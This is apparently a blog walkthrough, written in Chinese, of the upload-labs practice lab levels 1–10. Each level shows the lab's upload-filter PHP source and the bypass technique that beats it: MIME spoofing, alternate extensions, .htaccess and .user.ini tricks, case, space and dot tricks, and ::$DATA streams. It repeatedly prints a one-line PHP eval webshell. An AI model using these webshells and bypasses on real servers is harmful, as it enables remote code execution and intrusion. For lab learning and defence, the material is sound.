upload-labs上

学习学习

Posted by lll-yz on December 30, 2020

upload-labs 1~10

Pass-01(前端绕过)

首先直接上传图片发现正常上传成功,上传php文件,发现不允许上传该类型文件

rO1vWR.md.png

查看源码:

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

方法一:查看源码,修改前端代码。可以添加允许上传.php文件类型也可禁用js。

rOtnZ6.png

修改后即可上传.php文件。

<?php @eval($_POST['hhh']); ?>

用蚁剑连接测试成功:

rOtQiD.md.png

方法二:用burp修改后缀,先将文件后缀改为.jpg,后用burp抓包改包,将.jpg后缀改为.php

rOaQiT.md.png

用蚁剑连接测试成功:

rOaISg.md.png

pass-02(MIME验证)

MIME说明

文件内容类型或者说通过抓包你一定听说过 Content-Type: text/html 这种类似的,其实,这就是MIME。

MIME((Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式每个MIME类型由两部分组成,前面是数据的大类别,例如声音 audio、图象 Image等,后面定义具体的种类。

常见的MME类型,例如:

  • 超文本标记语言文本 .html,html text/htm
  • 普通文本 .txt text/plain
  • RTF文本. rtf application/rtf
  • GIF图形 .gif image/gif
  • JPEG图形 . jpg image/jpeg

MIME验证绕过的方法比较简单,只要直接更改上传数据包中的

Content-type即可。

源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

方法一: 上传.php文件,burp抓包,修改Content-type为允许类型:

rXflPe.png

用蚁剑测试了解成功:

rXfaa8.md.png

方法二: 将.php文件后缀改为允许后缀.png,用burp抓包修改后缀变回.php

rXf4G4.png

绕过成功。

pass-03(黑名单验证)

首先尝试上传webshell,得到报错提示

rX4hv9.png

进行了黑名单检测,限制了上述后缀文件的上传。看看源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

file_exists(): 检查文件或目录是否存在。

trim(): 移除字符串两侧的空白字符或其他预定义字符。

deldot(): 移除末尾的点。

strrchr(): 查找字符在指定字符串中从后面开始的第一次出现的位置,如果成功,则返回从该位置到字符串结尾所有字符,失败则返回false。与之对应的strstr()函数,它查找字符串中首次出现指定字符的位置。

strtolower(): 转化为小写。

str_ireplace():

rX7mSU.md.jpg

这里定义了一个黑名单数组,并且去除了末尾的点和空格、::$data等字符,将大写转化为小写且匹配了后缀名。

但还是有绕过的方法:后缀php3, phtml绕过。

在phpstudy搭建的upload-labs中,phpstudy配置文件把php3phtml等注释掉了,所以需要进行点修改phpstudy的httpd.conf文件,添加:

AddType application/x-httpd-php .php .phtml .php3 php5

使服务器将后缀为.php3, .php5,.phtml解析为php文件。

吐槽:因为我一开始用的新版本phpstudy搭建的upload靶场,新版本的phpstudy默认环境全部都带有nts,所以只能上传成功却无法用蚁剑连接成功。改用旧版本的phpstudy选择无nts环境来练习。在这里感谢一位大佬的博客讲解→大佬博客

换为旧版本的phpstudy后,修改上述文件后将上传文件后缀改为.php3上传,成功。

rjh0VP.md.png

pass-04(.htaccess上传绕过)

因为新版本的问题,现在开始使用旧版本phpstudy搭建练习。

首先上传一个.php文件发现不能上传,也没有其他的提示。查看提示与源码:

rjKIVe.png

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

仍是黑名单判断,不过这次限制更加全面,但是没有包括.htaccess,可以利用配合Apache的.htaccess文件上传解析漏洞。

.htaccess

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。

1.先准备一个.htaccess文件

SetHandler application/x-httpd-php

使得服务器将所有后缀为.jpg的文件当做php文件来解析。

2.上传.htaccess文件,用burp抓包,修改其名为:

rjHreH.png

在上传info.jpg文件:

<?php phpinfo(); ?>

查看,成功执行:

rjbm0H.md.png

方法二:后缀名特殊字符重写绕过。

上传.php文件,用burp抓包修改文件后缀,在后方加上点空格点。

后用蚁剑连接成功。

pass-05(.user.ini绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

与第四关相比黑名单更全面,且.htaccess也被限制了,其余一致。

查看提示:

rvPBd0.png

利用.user.ini文件

上传一个.user.ini文件:

auto_prepend_file=1.png

所有的php文件都自动包含1.png文件。.user.ini相当于一个用户自定义的php.ini

再上传一个1.png文件(原来的一句话木马)

<?php @eval($_POST['hhh']); ?>

上传完后,用蚁剑连接,根据提示将1.php文件名改为:readme.php

rvPOOA.md.png

注:需要更高版本的php才能成功连接:例:php-7.0.12-nts + Apache。

方法二:后缀名特殊字符重写绕过。

上传.php文件,用burp抓包修改文件后缀,在后方加上点空格点:

rxnvy6.md.png

因为Windows特性,在创建文件的时候,末尾的点会被去掉,剩下的就为.php了。

用蚁剑连接成功:

rxuASI.md.png

pass-06(大小写绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

同样黑名单很多,把.htaccess ,.ini也列入到了黑名单,但是发现小写转化没有了,所以我们可以采用大小写绕过。

上传.php文件,burp抓包修改后缀:

rv8AoT.md.png

因为Windows特性,创建文件时忽略大小写,实际保存的文件后缀即为php,使用蚁剑连接成功:

rv8lex.md.png

pass-07(空格绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

同上,但是少了尾部去空,所以尝试空格绕过。

rvGyHx.png

还是Windows特性,创建文件时,忽略结尾的空格,实际保存的文件名为.php,使用蚁剑连接成功。

rvGgUK.md.png

pass-08(点绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

缺少了deldot()函数,不会删除文件末尾的点,所以尝试点绕过。

思路同上:

rvatER.md.png

还是Windows特性,创建文件时,忽略结尾的.,实际保存的文件名为.php,使用蚁剑连接成功。

pass-09(Windows文件流特性绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

缺少了:

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

可以文件名后缀添加::$DATA绕过。

利用了Windows特性,Windows文件流特性绕过。必须是Windows,必须是php,必须是那个源文件php在Windows的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持”::$DATA”之前的文件名。

例如:phpinfo.php::$DATAWindows会自动去掉末尾的::$DATA变成phpinfo.php

它的目的就是不检查后缀名。

所以我们可以上传.php文件,burp抓包,在后缀增加::$DATA绕过,这次换个文件内容:

<?php phpinfo(); ?>

rvB3J1.md.png

访问成功:

rvBbOU.md.png

pass-10(特殊字符重写绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

将filename加入最终路径会带来极大的风险。

如:$img_path = UPLOAD_PATH.'/'.$file_name;

特殊字符重写,上传.php文件,用burp抓包修改文件后缀,在后方加上点空格点:

rxn9Gn.md.png

用蚁剑连接成功。(这里是不需要那个点的,不过不影响。我没去点也连接成功了)

rxnGZD.md.png